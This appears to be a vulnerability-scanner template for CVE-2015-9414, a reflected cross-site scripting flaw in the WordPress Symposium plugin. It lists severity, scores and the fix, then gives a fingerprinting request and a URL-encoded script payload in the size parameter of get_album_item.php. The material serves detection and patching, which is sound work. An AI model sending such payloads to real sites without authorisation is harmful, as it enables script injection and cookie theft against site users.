| Title | WordPress Symposium <=15.8.1 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions. |
| Remediation | Update to the latest version of the WordPress Symposium plugin (>=15.8.2) which includes a fix for this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.03076 |
| CVE ID | CVE-2015-9414 |
| CWE ID | CWE-79 |
| Tags | cve2015 cve xss wpscan wordpress wp-plugin wpsymposiumpro vuln |
WordPress Symposium through 15.8.1 contains a reflected cross-site scripting vulnerability via the wp-content/plugins/wp-symposium/get_album_item.php?size parameter which allows an attacker to steal cookie-based authentication credentials and launch other attacks.
GET /wp-content/plugins/wp-symposium/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/601.6.17 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.17
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/wp-symposium/get_album_item.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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